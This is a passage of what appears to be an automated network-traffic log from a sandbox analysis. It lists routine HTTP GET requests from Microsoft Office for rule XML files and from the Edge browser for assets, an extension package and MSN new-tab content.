Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=046B7A813FEA6CE42F656FA93E1B6DA8&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=bb016e27cbdb47ff84dab765bcdbf312 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=046B7A813FEA6CE42F656FA93E1B6DA8; _EDGE_S=F=1&SID=0CFC3F330DC46CE532902A1B0C1E6DBA; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyCL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
